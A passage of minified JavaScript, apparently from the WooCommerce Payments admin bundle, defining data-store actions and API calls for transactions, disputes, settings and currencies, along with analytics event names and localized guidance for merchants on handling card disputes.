et(e,t,r){return{type:Ue.SET_ERROR_FOR_TRANSACTIONS,query:e,data:t,error:r}}function tt(e,t){return{type:Ue.SET_TRANSACTIONS_SUMMARY,query:e,data:t}}function rt(e,t,r){return{type:Ue.SET_ERROR_FOR_TRANSACTIONS_SUMMARY,query:e,data:t,error:r}}function nt(e,t,r){return{type:Ue.SET_FRAUD_OUTCOME_TRANSACTIONS,status:e,query:t,data:r}}function ot(e,t,r){return{type:Ue.SET_ERROR_FOR_FRAUD_OUTCOME_TRANSACTIONS,status:e,query:t,data:null,error:r}}function at(e,t,r){return{type:Ue.SET_FRAUD_OUTCOME_TRANSACTIONS_SUMMARY,status:e,query:t,data:r}}function it(e,t,r){return{type:Ue.SET_ERROR_FOR_FRAUD_OUTCOME_TRANSACTIONS_SUMMARY,status:e,query:t,data:null,error:r}}const st=e=>({user_email:e.userEmail,match:e.match,date_before:_e(e.dateBefore,!0),date_after:_e(e.dateAfter),date_between:e.dateBetween&&[_e(e.dateBetween[0]),_e(e.dateBetween[1],!0)],type_is:e.typeIs,type_is_not:e.typeIsNot,source_device_is:e.sourceDeviceIs,source_device_is_not:e.sourceDeviceIsNot,store_currency_is:e.storeCurrencyIs,loan_id_is:e.loanIdIs,deposit_id:e.depositId,customer_currency_is:e.customerCurrencyIs,customer_currency_is_not:e.customerCurrencyIsNot,search:e.search,user_timezone:fe()(new Date).format("Z")});function*ct(e){const t=(0,me.addQueryArgs)(`${$}/transactions`,{page:e.paged,pagesize:e.perPage,sort:e.orderby,direction:e.order,...st(e)});try{const r=yield(0,B.apiFetch)({path:t});yield Je(e,r.data||[])}catch(t){yield z.controls.dispatch("core/notices","createErrorNotice",(0,se.__)("Error retrieving transactions.","woocommerce-payments")),yield et(e,null,t)}}function ut(e){return(0,me.addQueryArgs)(`${$}/transactions/download`,st(e))}function*lt(e){const t=(0,me.addQueryArgs)(`${$}/transactions/summary`,st(e));try{const r=yield(0,B.apiFetch)({path:t});yield tt(e,r)}catch(t){yield rt(e,null,t)}}function*dt(e,t){const r=(0,me.addQueryArgs)(`${$}/transactions/fraud-outcomes`,{status:e,page:t.paged,sort:t.orderby,pagesize:t.perPage,direction:t.order,additional_status:t.additionalStatus,...st(t)});try{const n=yield(0,B.apiFetch)({path:r});yield nt(e,t,n.data||[])}catch(r){if("wcpay_fraud_outcome_not_found"===r.code)return void(yield nt(e,t,[]));yield z.controls.dispatch("core/notices","createErrorNotice",(0,se.__)("Error retrieving transactions.","woocommerce-payments")),yield ot(e,t,r)}}function*pt(e,t){const r=(0,me.addQueryArgs)(`${$}/transactions/fraud-outcomes/summary`,{status:e,additional_status:t.additionalStatus}),n={count:0,total:0};try{const o=yield(0,B.apiFetch)({path:r});yield at(e,t,o||n)}catch(r){if("wcpay_fraud_outcome_not_found"===r.code)return void(yield at(e,t,n));yield z.controls.dispatch("core/notices","createErrorNotice",(0,se.__)("Error retrieving on review transactions.","woocommerce-payments")),yield it(e,t,r)}}function mt(e,t){return(0,me.addQueryArgs)(`${$}/transactions/fraud-outcomes/download`,{status:e,sort:t.orderby,direction:t.order,additional_status:t.additionalStatus,...st(t)})}const ht={SET_CHARGE:"SET_CHARGE",SET_ERROR_FOR_CHARGE:"SET_ERROR_FOR_CHARGE"},ft=(e,t)=>e.charges[t]&&e.charges[t].data?e.charges[t].data:{},yt=(e,t)=>e.charges[t]&&e.charges[t].error?e.charges[t].error:{},gt=(e,t)=>ft(e,t),_t=(e,t)=>yt(e,t);function vt(e,t){return{type:ht.SET_CHARGE,id:e,data:t}}function bt(e,t,r){return{type:ht.SET_ERROR_FOR_CHARGE,id:e,data:t,error:r}}function*Et(e){try{const t=yield(0,B.apiFetch)({path:`${$}/charges/${e}`});yield vt(e,t)}catch(t){yield z.controls.dispatch("core/notices","createErrorNotice",(0,se.__)("Error retrieving transaction.","woocommerce-payments")),yield bt(e,null,t)}}function*wt(e){try{const t=yield(0,B.apiFetch)({path:`${$}/charges/order/${e}`});yield vt(e,t)}catch(t){yield z.controls.dispatch("core/notices","createErrorNotice",(0,se.__)("Error retrieving transaction.","woocommerce-payments")),yield bt(e,null,t)}}const St={SET_TIMELINE:"SET_TIMELINE",SET_ERROR_FOR_TIMELINE:"SET_ERROR_FOR_TIMELINE"},Tt=(e,t)=>e.timeline&&e.timeline[t]&&e.timeline[t].data?e.timeline[t].data:{},Rt=(e,t)=>e.timeline&&e.timeline[t]&&e.timeline[t].error?e.timeline[t].error:{};function Ot(e,t){return{id:e,type:St.SET_TIMELINE,data:t}}function At(e,t){return{id:e,type:St.SET_ERROR_FOR_TIMELINE,error:t}}function*Ct(e){try{const t=yield(0,B.apiFetch)({path:`${$}/timeline/${e}`});yield Ot(e,t.data)}catch(t){yield At(e,t)}}const xt={SET_DISPUTE:"SET_DISPUTE",SET_DISPUTES:"SET_DISPUTES",SET_DISPUTES_SUMMARY:"SET_DISPUTES_SUMMARY"},It={byId:{},queries:{},summary:{},cached:{}},kt=e=>e&&e.disputes||{},Nt=(e,t)=>(kt(e).byId||{})[t],Dt=(e,t)=>(kt(e).cached||{})[t],Pt=(e,t)=>{const r=((e,t)=>{const r=q(t);return(kt(e).queries||{})[r]||{}})(e,t).data||[];return r.map(Dt.bind(void 0,e))},Mt=(e,t)=>((e,t)=>{const r=q(t);return(kt(e).summary||{})[r]||{}})(e,t).data||{},Ft=window.wp.domReady;var Lt=r.n(Ft);const Ut=e=>{let t=null;return t="undefined"!=typeof wcpayConfig?wcpayConfig:"undefined"!=typeof wcpay_upe_config?wcpay_upe_config:wc.wcSettings.getSetting("woocommerce_payments_data"),t[e]||null},zt=e=>"object"==typeof wcpayPaymentRequestParams&&wcpayPaymentRequestParams.hasOwnProperty(e)?wcpayPaymentRequestParams[e]:null,Bt={isEnabled:function(){return window.wcTracks.isEnabled},recordEvent:function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};t.is_test_mode=window.wcpaySettings?.testMode,Lt()((()=>{var r;(null!==(r=window.wc?.tracks?.recordEvent)&&void 0!==r?r:window.wcTracks.recordEvent)(e,t)}))},recordUserEvent:function(e,t){var r,n;let o=arguments.length>2&&void 0!==arguments[2]&&arguments[2];const a=null!==(r=Ut("platformTrackerNonce"))&&void 0!==r?r:zt("nonce")?.platform_tracker,i=null!==(n=Ut("ajaxUrl"))&&void 0!==n?n:zt("ajax_url"),s=new FormData;s.append("tracksNonce",a),s.append("action","platform_tracks"),s.append("tracksEventName",e),s.append("tracksEventProp",JSON.stringify(t)),s.append("isLegacy",o),fetch(i,{method:"post",body:s})},events:{CONNECT_ACCOUNT_CLICKED:"wcpay_connect_account_clicked",CONNECT_ACCOUNT_VIEW:"page_view",CONNECT_ACCOUNT_LEARN_MORE:"wcpay_welcome_learn_more",CONNECT_ACCOUNT_STRIPE_CONNECTED:"wcpay_stripe_connected",CONNECT_ACCOUNT_KYC_MODAL_OPENED:"wcpay_connect_account_kyc_modal_opened",DEPOSITS_ROW_CLICK:"wcpay_deposits_row_click",DEPOSITS_DOWNLOAD_CSV_CLICK:"wcpay_deposits_download",DISPUTES_ROW_ACTION_CLICK:"wcpay_disputes_row_action_click",ORDER_DISPUTE_NOTICE_BUTTON_CLICK:"wcpay_order_dispute_notice_action_click",OVERVIEW_BALANCES_CURRENCY_CLICK:"wcpay_overview_balances_currency_tab_click",OVERVIEW_DEPOSITS_VIEW_HISTORY_CLICK:"wcpay_overview_deposits_view_history_click",OVERVIEW_DEPOSITS_CHANGE_SCHEDULE_CLICK:"wcpay_overview_deposits_change_schedule_click",OVERVIEW_TASK_CLICK:"wcpay_overview_task_click",SETTINGS_DEPOSITS_MANAGE_IN_STRIPE_CLICK:"wcpay_settings_deposits_manage_in_stripe_click",MULTI_CURRENCY_ENABLED_CURRENCIES_UPDATED:"wcpay_multi_currency_enabled_currencies_updated",PAYMENT_REQUEST_SETTINGS_CHANGE:"wcpay_payment_request_settings_change",SUBSCRIPTIONS_EMPTY_STATE_VIEW:"wcpay_subscriptions_empty_state_view",SUBSCRIPTIONS_EMPTY_STATE_FINISH_SETUP:"wcpay_subscriptions_empty_state_finish_setup",SUBSCRIPTIONS_EMPTY_STATE_CREATE_PRODUCT:"wcpay_subscriptions_empty_state_create_product",SUBSCRIPTIONS_ACCOUNT_NOT_CONNECTED_PRODUCT_MODAL_VIEW:"wcpay_subscriptions_account_not_connected_product_modal_view",SUBSCRIPTIONS_ACCOUNT_NOT_CONNECTED_PRODUCT_MODAL_FINISH_SETUP:"wcpay_subscriptions_account_not_connected_product_modal_finish_setup",SUBSCRIPTIONS_ACCOUNT_NOT_CONNECTED_PRODUCT_MODAL_DISMISS:"wcpay_subscriptions_account_not_connected_product_modal_dismiss",TRANSACTIONS_DOWNLOAD_CSV_CLICK:"wcpay_transactions_download_csv_click",WOOPAY_OFFERED:"woopay_offered",WOOPAY_OTP_START:"woopay_otp_prompt_start",WOOPAY_OTP_COMPLETE:"woopay_otp_prompt_complete",WOOPAY_OTP_FAILED:"woopay_otp_prompt_failed",WOOPAY_AUTO_REDIRECT:"checkout_woopay_auto_redirect",WOOPAY_SKIPPED:"woopay_skipped",WOOPAY_BUTTON_LOAD:"woopay_button_load",WOOPAY_BUTTON_CLICK:"woopay_button_click",WOOPAY_SAVE_MY_INFO_CLICK:"checkout_save_my_info_click",ONBOARDING_FLOW_STARTED:"wcpay_onboarding_flow_started",ONBOARDING_FLOW_MODE_SELECTED:"wcpay_onboarding_flow_mode_selected",ONBOARDING_FLOW_STEP_COMPLETED:"wcpay_onboarding_flow_step_completed",ONBOARDING_FLOW_HIDDEN:"wcpay_onboarding_flow_hidden",ONBOARDING_FLOW_EXITED:"wcpay_onboarding_flow_exited",ONBOARDING_FLOW_REDIRECTED:"wcpay_onboarding_flow_redirected",ONBOARDING_FLOW_ELIGIBILITY_MODAL_CLOSED:"wcpay_onboarding_flow_eligibility_modal_closed"}};function $t(e){return{type:xt.SET_DISPUTE,data:e}}function Ht(e,t){return{type:xt.SET_DISPUTES,query:e,data:t}}function Vt(e,t){return{type:xt.SET_DISPUTES_SUMMARY,query:e,data:t}}function*Wt(e){try{yield z.controls.dispatch(H,"startResolution","getDispute",[e]);const t=yield(0,B.apiFetch)({path:`${$}/disputes/${e}/close`,method:"post"});yield $t(t),yield z.controls.dispatch(H,"finishResolution","getDispute",[e]),window.location.replace(ge({page:"wc-admin",path:"/payments/disputes",filter:"awaiting_response"})),Bt.recordEvent("wcpay_dispute_accept_success");const r=t.order?(0,se.sprintf)((0,se.__)("You have accepted the dispute for order #%s.","woocommerce-payments"),t.order.number):(0,se.__)("You have accepted the dispute.","woocommerce-payments");yield z.controls.dispatch("core/notices","createSuccessNotice",r)}catch(e){const t=(0,se.__)("There has been an error accepting the dispute. Please try again later.","woocommerce-payments");Bt.recordEvent("wcpay_dispute_accept_failed"),yield z.controls.dispatch("core/notices","createErrorNotice",t)}}const qt=e=>({user_email:e.userEmail,match:e.match,store_currency_is:e.storeCurrencyIs,date_before:_e(e.dateBefore,!0),date_after:_e(e.dateAfter),date_between:e.dateBetween&&[_e(e.dateBetween[0]),_e(e.dateBetween[1],!0)],search:e.search,status_is:e.statusIs,status_is_not:e.statusIsNot});function Yt(e){return(0,me.addQueryArgs)(`${$}/disputes/download`,qt(e))}function*jt(e){const t=(0,me.addQueryArgs)(`${$}/disputes/${e}`);try{const e=yield(0,B.apiFetch)({path:t});yield $t(e)}catch(e){yield z.controls.dispatch("core/notices","createErrorNotice",(0,se.__)("Error retrieving dispute.","woocommerce-payments"))}}function*Gt(e){const t=(0,me.addQueryArgs)(`${$}/disputes`,{page:e.paged,pagesize:e.perPage,sort:(0,V.snakeCase)(e.orderBy),direction:e.order,...qt(e)});try{const r=yield(0,B.apiFetch)({path:t})||{};yield Ht(e,r.data)}catch(e){yield z.controls.dispatch("core/notices","createErrorNotice",(0,se.__)("Error retrieving disputes.","woocommerce-payments"))}}function*Kt(e){const t=(0,me.addQueryArgs)(`${$}/disputes/summary`,{page:e.paged,pagesize:e.perPage,...qt(e)});try{const r=yield(0,B.apiFetch)({path:t});yield Vt(e,r)}catch(e){yield z.controls.dispatch("core/notices","createErrorNotice",(0,se.__)("Error retrieving the summary of disputes.","woocommerce-payments"))}}const Qt=window.wc.wcSettings;(0,se.__)("Bank cannot process","woocommerce-payments"),(0,se.__)("Check returned","woocommerce-payments"),(0,se.__)("Credit not processed","woocommerce-payments"),(0,se.__)("If you believe the dispute is invalid, you can challenge it by submitting the appropriate evidence using the response forms on the next screen.","woocommerce-payments"),(0,se.__)("If your customer was not refunded appropriately, you will need to accept the dispute, or resolve the issue with your customer. The credit card networks place liability for accepting disputed payments with you, the business.","woocommerce-payments"),(0,se.__)("The customer claims that the purchased product was returned or the transaction was otherwise canceled, but you have not yet provided a refund or credit.","woocommerce-payments"),(0,se.__)("Demonstrate that you have refunded your customer through other means or that your customer is not entitled to a refund. You cannot issue a refund while a payment is being disputed. If you believe that your customer was entitled a refund that you did not provide, you can accept the dispute.","woocommerce-payments"),(0,se.__)("You should first get in touch with your customer. If you understand what their complaint is, there is a chance for you to explain the misunderstanding or to make it right. If you’re able to resolve the issue with your customer, you can ask that they withdraw the dispute.","woocommerce-payments"),(0,se.__)("If the cardholder agrees to withdraw the dispute, you should still submit evidence for the dispute using the forms on the next screen. In addition to the following evidence, your submission should include correspondence with the cardholder saying they would withdraw the dispute and a written statement from their card issuer confirming that the dispute has been withdrawn.","woocommerce-payments"),(0,se.__)("Customer initiated","woocommerce-payments"),(0,se.__)("Debit not authorized","woocommerce-payments"),(0,se.__)("Duplicate","woocommerce-payments"),(0,se.__)("If you believe the dispute is invalid, you can challenge it by submitting the appropriate evidence using the response forms on the next screen.","woocommerce-payments"),(0,se.__)("If there were duplicate payments, you should accept the dispute. You cannot issue a refund while a payment is being disputed. The credit card networks place liability for accepting disputed payments with you, the business.","woocommerce-payments"),(0,se.__)("The customer claims they were charged multiple times for the same product or service.","woocommerce-payments"),(0,se.__)("Demonstrate that each payment was for a separate product or service.","woocommerce-payments"),(0,se.__)("Determine if your customer was incorrectly charged multiple times.","woocommerce-payments"),(0,se.__)("If they were not, collect any and all information documenting that each payment was made separately, such as copies of receipts. If the receipts don’t include the items purchased, be sure to include an itemized list. Each receipt should clearly indicate that the payments are for separate purchases of items or services. If you’ve been able to get in touch with the customer you should be sure to address any concerns they had in your evidence.","woocommerce-payments"),(0,se.__)("If there have been two or more separate payments, you should get in touch with your customer. If you understand what their complaint is, there is a chance for you to explain the misunderstanding or to make it right. If you’re able to resolve the issue with your customer, you can ask that they withdraw the dispute.","woocommerce-payments"),(0,se.__)("Even if your customer agrees to withdraw the dispute, you must still submit appropriate evidence using the forms on the next screen. Simply saying that your customer is going to withdraw the dispute is not sufficient evidence.","woocommerce-payments"),(0,se.__)("Transaction unauthorized","woocommerce-payments"),(0,se.__)("If you believe the dispute is invalid, you can challenge it by submitting the appropriate evidence using the response forms on the next screen.","woocommerce-payments"),(0,se.__)("If you believe the payment was actually made using a stolen credit card, you will need to accept the dispute. The credit card networks place liability for accepting unauthorized transactions with you, the business.","woocommerce-payments"),(0,se.__)("This is the most common reason for a dispute, and happens when a cardholder claims that they didn’t authorize the payment. This can happen if the card was lost or stolen and used to make an unauthorized transaction. It can also happen if the cardholder doesn’t recognize the payment as it appears on the billing statement from their card issuer.","woocommerce-payments"),(0,se.__)("Provide adequate payment and order details so that a legitimate customer recognizes it, or proves to the card issuer that their cardholder authorized the transaction.","woocommerce-payments"),(0,se.__)("Try to get in touch with your customer. Sometimes people forget about payments they make or don’t recognize the way they appear on their card statement. If this is the case, ask them to contact their card issuer and let them know they no longer dispute the transaction.","woocommerce-payments"),(0,se.__)("Even if your customer agrees to withdraw the dispute, you must still submit appropriate evidence using the forms on the next screen. Simply saying that your customer is going to withdraw the dispute is not sufficient evidence.","woocommerce-payments"),(0,se.__)("It may be more efficient—and provide a better customer experience—to accept an accidental dispute and charge the customer again, if appropriate. Even when a dispute is withdrawn, it usually takes approximately 75 days to be finalized. Remember, it doesn’t matter to the card networks whether you win or lose a dispute; what matters is how many disputes a business receives, regardless of how many disputes are won.","woocommerce-payments"),(0,se.__)("General","woocommerce-payments"),(0,se.__)("If you believe the dispute is invalid, you can challenge it by submitting the appropriate evidence using the response forms on the next screen.","woocommerce-payments"),(0,se.__)("This is an uncategorized dispute, so you should contact the customer for additional details to find out why the payment was disputed.","woocommerce-payments"),(0,se.__)("Incorrect account details","woocommerce-payments"),(0,se.__)("Insufficient funds","woocommerce-payments"),(0,se.__)("Product not received","woocommerce-payments"),(0,se.__)("If you believe the dispute is invalid, you can challenge it by submitting the appropriate evidence using the response forms on the next screen.","woocommerce-payments"),(0,se.__)("If you can not prove the customer received their product or service, you should accept the dispute. You cannot issue a refund while a payment is being disputed. The credit card networks place liability for accepting disputed payments with you, the business.","woocommerce-payments"),(0,se.__)("The customer claims they did not receive the products or services purchased.","woocommerce-payments"),(0,se.__)("Prove that the customer received a physical product or offline service, or made use of a digital product or online service. This must have occurred prior to the date the dispute was initiated.","woocommerce-payments"),(0,se.__)("First, get in touch with your customer. Understanding why they filed the dispute will be important for helping make sure your customer gets the product and will give you critical information to prevent this from happening to others.","woocommerce-payments"),(0,se.__)("Even if your customer agrees to withdraw the dispute, you must still submit appropriate evidence using the forms on the next screen. Simply saying that your customer is going to withdraw the dispute is not sufficient evidence.","woocommerce-payments"),(0,se.__)("Product unacceptable","woocommerce-payments"),(0,se.__)("If you believe the dispute is invalid, you can challenge it by submitting the appropriate evidence using the response forms on the next screen.","woocommerce-payments"),(0,se.__)("If you can not prove the customer received their product or service as described, you should accept the dispute. You cannot issue a refund while a payment is being disputed. The credit card networks place liability for accepting disputed payments with you, the business.","woocommerce-payments"),(0,se.__)("The product or service was received but was defective, damaged, or not as described.","woocommerce-payments"),(0,se.__)("Demonstrate that the product or service was delivered as described at the time of purchase.","woocommerce-payments"),(0,se.__)("If the product or service is as described, provide specific information (invoice, contract, etc.) to refute the cardholder’s claims. Quality disputes are where the customer does not agree with the condition of merchandise or service received (e.g., a car repair situation or quality of a hotel room). There may be instances where you will need to obtain a neutral third-party opinion to help corroborate your claim against the cardholder. Provide as much specific information and documentation as possible to refute the cardholder’s claims. It is recommended that you address each point that the cardholder has made.","woocommerce-payments"),(0,se.__)("If the customer has not yet returned the product or canceled the service, provide specific information to that effect. You should double-check your incoming shipping records to verify that you have not received a return before you respond. If you have processed a credit or reversal for this transaction, provide evidence of this which includes the amount and date processed.","woocommerce-payments"),(0,se.__)("For products that have been repaired or replaced, provide evidence that the cardholder agreed to a repair or replacement, it has been received by the customer, and the repair or replacement has not since been disputed.","woocommerce-payments"),(0,se.__)("If your customer made no attempt to return the product or cancel the service, or if you provided a replacement product or service, make sure to note that as well.","woocommerce-payments"),(0,se.__)("If the customer withdraws their dispute you should still submit evidence using the forms on the next screen. Be sure to provide a letter or email from the cardholder stating that they are no longer in dispute.","woocommerce-payments"),(0,se.__)("Subscription canceled","woocommerce-payments"),(0,se.__)("If you believe the dispute is invalid, you can challenge it by submitting the appropriate evidence using the response forms on the next screen.","woocommerce-payments"),(0,se.__)("If you can not prove the customer’s subscription was canceled, and or they did not follow your cancellation policy, you should accept the dispute. You cannot issue a refund while a payment is being disputed. The credit card networks place liability for accepting disputed payments with you, the business.","woocommerce-payments"),(0,se.__)("The customer claims that you continued to charge them after a subscription was canceled.","woocommerce-payments"),(0,se.__)("Prove that the subscription was still active and that the customer was aware of, and did not follow, your cancellation procedure.","woocommerce-payments"),(0,se.__)("First, get in touch with your customer. If you understand what they believe happened, there is a chance for you to explain the misunderstanding or to make it right. ","woocommerce-payments"),(0,se.__)("Even if your customer agrees to withdraw the dispute, you must still submit appropriate evidence using the forms on the next screen. Simply saying that your customer is going to withdraw the dispute is not sufficient evidence.","woocommerce-payments"),(0,se.__)("Otherwise, use the forms on the next screen to submit evidence that the subscription was still active and that the customer was aware of, and did not follow, your cancellation procedure.","woocommerce-payments"),(0,se.__)("Unrecognized","woocommerce-payments"),(0,se.__)("If you believe the dispute is invalid, you can challenge it by submitting the appropriate evidence using the response forms on the next screen.","woocommerce-payments"),(0,se.__)("If you can not prove the customer’s subscription was canceled, and or they did not follow your cancelation policy, you should accept the dispute. You cannot issue a refund while a payment is being disputed. The credit card networks place liability for accepting disputed payments with you, the business.","woocommerce-payments"),(0,se.__)("The customer doesn’t recognize the payment appearing on their card statement.","woocommerce-payments"),(0,se.__)("Get your customer to withdraw the dispute by helping them identify the payment. Otherwise, challenge the dispute with appropriate evidence that proves the purchase was legitimate. ","woocommerce-payments"),(0,se.__)("First, try to get in touch with your customer. Sometimes people forget about payments they make or don’t recognize the way they appear on their card statement. If this is the case, ask them to contact their card issuer and let them know they no longer dispute the transaction. Even if your customer agrees to withdraw the dispute, you must still submit appropriate evidence. Simply saying that your customer is going to withdraw the dispute is not sufficient evidence.","woocommerce-payments"),(0,se.__)("It may be more efficient—and provide a better customer experience—to accept an accidental dispute and charge the customer again, if appropriate. Even when a dispute is withdrawn, it usually takes approximately 75 days to be finalized. Remember, it doesn’t matter to the card networks whether you win or lose a dispute; what matters is how many disputes a business receives, regardless of how many disputes are won.","woocommerce-payments");var Zt={warning_needs_response:(0,se.__)("Inquiry: Needs response","woocommerce-payments"),warning_under_review:(0,se.__)("Inquiry: Under review","woocommerce-payments"),warning_closed:(0,se.__)("Inquiry: Closed","woocommerce-payments"),needs_response:(0,se.__)("Needs response","woocommerce-payments"),under_review:(0,se.__)("Under review","woocommerce-payments"),charge_refunded:(0,se.__)("Charge refunded","woocommerce-payments"),won:(0,se.__)("Won","woocommerce-payments"),lost:(0,se.__)("Lost","woocommerce-payments")},Xt=(Object.entries(Zt).map((function(e){var t=e[0];return{label:e[1],value:t}})).filter((function(e){return null!=e})),(0,se.__)("Dispute currency","woocommerce-payments"),(0,se.__)("All currencies","woocommerce-payments"),(0,se.__)("Show","woocommerce-payments"),(0,se.__)("Needs response","woocommerce-payments"),(0,se.__)("All disputes","woocommerce-payments"),(0,se.__)("Advanced filters","woocommerce-payments"),(0,Qt.getSetting)("wcVersion")),Jt=parseFloat(Xt);Jt<7.8?(0,se.__)("Disputes match {{select /}} filters","woocommerce-payments"):(0,se.__)("Disputes match <select /> filters","woocommerce-payments"),(0,se.__)("Disputed on date","woocommerce-payments"),(0,se.__)("Remove dispute date filter","woocommerce-payments"),(0,se.__)("Select a dispute date filter match","woocommerce-payments"),Jt<7.8?(0,se.__)("{{title}}Date{{/title}} {{rule /}} {{filter /}}","woocommerce-payments"):(0,se.__)("<title>Date</title> <rule /> <filter />","woocommerce-payments"),(0,se.__)("Select a dispute date","woocommerce-payments"),(0,se.__)("Before","woocommerce-payments"),(0,se.__)("After","woocommerce-payments"),(0,se.__)("Between","woocommerce-payments"),(0,se.__)("Status","woocommerce-payments"),(0,se.__)("Remove dispute status filter","woocommerce-payments"),(0,se.__)("Select a dispute status filter match","woocommerce-payments"),Jt<7.8?(0,se.__)("{{title}}Status{{/title}} {{rule /}} {{filter /}}","woocommerce-payments"):(0,se.__)("<title>Status</title> <rule /> <filter />","woocommerce-payments"),(0,se.__)("Select a dispute status","woocommerce-payments"),(0,se._x)("Is","dispute status","woocommerce-payments"),(0,se._x)("Is not","dispute status","woocommerce-payments");const er={SET_SETTINGS:"SET_SETTINGS",SET_SETTINGS_VALUES:"SET_SETTINGS_VALUES",SET_IS_SAVING_SETTINGS:"SET_IS_SAVING_SETTINGS",SET_SELECTED_PAYMENT_METHOD:"SET_SELECTED_PAYMENT_METHOD",SET_UNSELECTED_PAYMENT_METHOD:"SET_UNSELECTED_PAYMENT_METHOD"},tr={isSaving:!1,savingError:null,data:{}};const rr={},nr=[],or=e=>e&&e.settings||rr,ar=e=>or(e).data||rr,ir=e=>ar(e).account_business_support_address||rr,sr=e=>ar(e).is_wcpay_enabled||!1,cr=e=>ar(e).is_client_secret_encryption_enabled||!1,ur=e=>ar(e).enabled_payment_method_ids||nr,lr=e=>ar(e).available_payment_method_ids||nr,dr=e=>ar(e).payment_method_statuses||nr,pr=e=>or(e).isSaving||!1,mr=e=>ar(e).account_statement_descriptor||"",hr=e=>ar(e).account_business_name||"",fr=e=>ar(e).account_business_url||"",yr=e=>ar(e).account_business_support_address||"",gr=e=>ir(e).country||"",_r=e=>ir(e).line1||"",vr=e=>ir(e).line2||"",br=e=>ir(e).city||"",Er=e=>ir(e).state||"",wr=e=>ir(e).postal_code||"",Sr=e=>ar(e).account_business_support_email||"",Tr=e=>ar(e).account_business_support_phone||"",Rr=e=>ar(e).account_branding_logo||"",Or=e=>ar(e).account_domestic_currency||"",Ar=e=>ar(e).deposit_schedule_interval||"",Cr=e=>ar(e).deposit_schedule_weekly_anchor||"",xr=e=>ar(e).deposit_schedule_monthly_anchor||"",Ir=e=>ar(e).deposit_delay_days||"7",kr=e=>ar(e).deposit_completed_waiting_period||!1,Nr=e=>ar(e).deposit_status||"",Dr=e=>ar(e).deposit_restrictions||"",Pr=e=>ar(e).is_manual_capture_enabled||!1,Mr=e=>ar(e).is_test_mode_enabled||!1,Fr=e=>ar(e).is_dev_mode_enabled||!1,Lr=e=>ar(e).is_payment_request_enabled||!1,Ur=e=>ar(e).is_debug_log_enabled||!1,zr=e=>ar(e).is_multi_currency_enabled||!1,Br=e=>ar(e).payment_request_enabled_locations||nr,$r=e=>ar(e).payment_request_button_type||"",Hr=e=>ar(e).payment_request_button_size||"",Vr=e=>ar(e).payment_request_button_theme||"",Wr=e=>ar(e).is_saved_cards_enabled||!1,qr=e=>or(e).savingError,Yr=e=>ar(e).is_card_present_eligible||!1,jr=e=>ar(e).is_wcpay_subscriptions_enabled||!1,Gr=e=>ar(e).is_wcpay_subscriptions_eligible||!1,Kr=e=>ar(e).is_subscriptions_plugin_active||!1,Qr=e=>ar(e).is_woopay_enabled||!1,Zr=e=>ar(e).woopay_custom_message||"",Xr=e=>ar(e).woopay_store_logo||"",Jr=e=>ar(e).woopay_enabled_locations||nr,en=e=>ar(e).current_protection_level||"basic",tn=e=>ar(e).advanced_fraud_protection_settings||nr,rn=e=>ar(e).show_woopay_incompatibility_notice||!1;function nn(e){return{type:er.SET_SETTINGS_VALUES,payload:e}}function on(e){return nn({is_saved_cards_enabled:e})}function an(e){return nn({is_card_present_eligible:e})}function sn(e){return nn({is_client_secret_encryption_enabled:e})}function cn(e){return nn({payment_request_button_type:e})}function un(e){return nn({payment_request_button_size:e})}function ln(e){return nn({payment_request_button_theme:e})}function dn(e){return{type:er.SET_SETTINGS,data:e}}function pn(e){return nn({is_wcpay_enabled:e})}function mn(e){return nn({is_payment_request_enabled:e})}function hn(e){return nn({enabled_payment_method_ids:[...e]})}function fn(e){return nn({available_payment_method_ids:[...e]})}function yn(e,t){return{type:er.SET_IS_SAVING_SETTINGS,isSaving:e,error:t}}function gn(e){return{type:er.SET_SELECTED_PAYMENT_METHOD,id:e}}function _n(e){return{type:er.SET_UNSELECTED_PAYMENT_METHOD,id:e}}function vn(e){return nn({is_manual_capture_enabled:e})}function bn(e){return nn({is_test_mode_enabled:e})}function En(e){return nn({is_debug_log_enabled:e})}function wn(e){return nn({is_multi_currency_enabled:e})}function Sn(e){return nn({is_wcpay_subscriptions_enabled:e})}function Tn(e){return nn({account_statement_descriptor:e})}function Rn(e){return nn({account_business_name:e})}function On(e){return nn({account_business_url:e})}function An(e){return nn({account_business_support_address:e})}function Cn(e){return nn({account_business_support_email:e})}function xn(e){return nn({account_business_support_phone:e})}function In(e){return nn({account_branding_logo:e})}function kn(e){return nn({deposit_schedule_interval:e})}function Nn(e){return nn({deposit_schedule_weekly_anchor:e})}function Dn(e){return nn({deposit_schedule_monthly_anchor:""===e?null:parseInt(e,10)})}function*Pn(){let e=null;try{const e=(0,z.select)(H).getSettings();yield yn(!0,null),yield(0,B.apiFetch)({path:`${$}/settings`,method:"post",data:e}),yield(0,z.dispatch)("core/notices").createSuccessNotice((0,se.__)("Settings saved.","woocommerce-payments"))}catch(t){e=t,yield(0,z.dispatch)("core/notices").createErrorNotice((0,se.__)("Error saving settings.","woocommerce-payments"))}finally{yield yn(!1,e)}return null===e}function Mn(e){return nn({payment_request_enabled_locations:[...e]})}function Fn(e){return nn({is_woopay_enabled:e})}function Ln(e){return nn({woopay_custom_message:e})}function Un(e){return nn({woopay_store_logo:e})}function zn(e){return nn({woopay_enabled_locations:[...e]})}function Bn(e){return nn({current_protection_level:e})}function $n(e){return nn({advanced_fraud_protection_settings:e})}function*Hn(){const e=`${$}/settings`;try{const t=yield(0,B.apiFetch)({path:e});yield dn(t)}catch(e){yield(0,z.dispatch)("core/notices").createErrorNotice((0,se.__)("Error retrieving settings.","woocommerce-payments"))}}const Vn={SET_CURRENCIES:"SET_CURRENCIES",SET_AVAILABLE_CURRENCIES:"SET_AVAILABLE_CURRENCIES",SET_ENABLED_CURRENCIES:"SET_ENABLED_CURRENCIES",SET_DEFAULT_CURRENCY:"SET_DEFAULT_CURRENCY",SET_CURRENCY_SETTINGS:"SET_CURRENCY_SETTINGS",SET_STORE_SETTINGS:"SET_STORE_SETTINGS"},Wn={},qn=e=>e&&e.multiCurrency||{},Yn=e=>qn(e).currencies||{},jn=e=>Yn(e).available||{},Gn=e=>Yn(e).enabled||{},Kn=e=>Yn(e).default||{},Qn=e=>qn(e).currency_settings||{},Zn=e=>qn(e).settings||{};function Xn(e){return{type:Vn.SET_CURRENCIES,data:e}}function Jn(e){return{type:Vn.SET_AVAILABLE_CURRENCIES,data:e}}function eo(e){return{type:Vn.SET_ENABLED_CURRENCIES,data:e}}function to(e){return{type:Vn.SET_DEFAULT_CURRENCY,data:e}}function ro(e,t){return{type:Vn.SET_CURRENCY_SETTINGS,data:{code:e,data:t}}}function 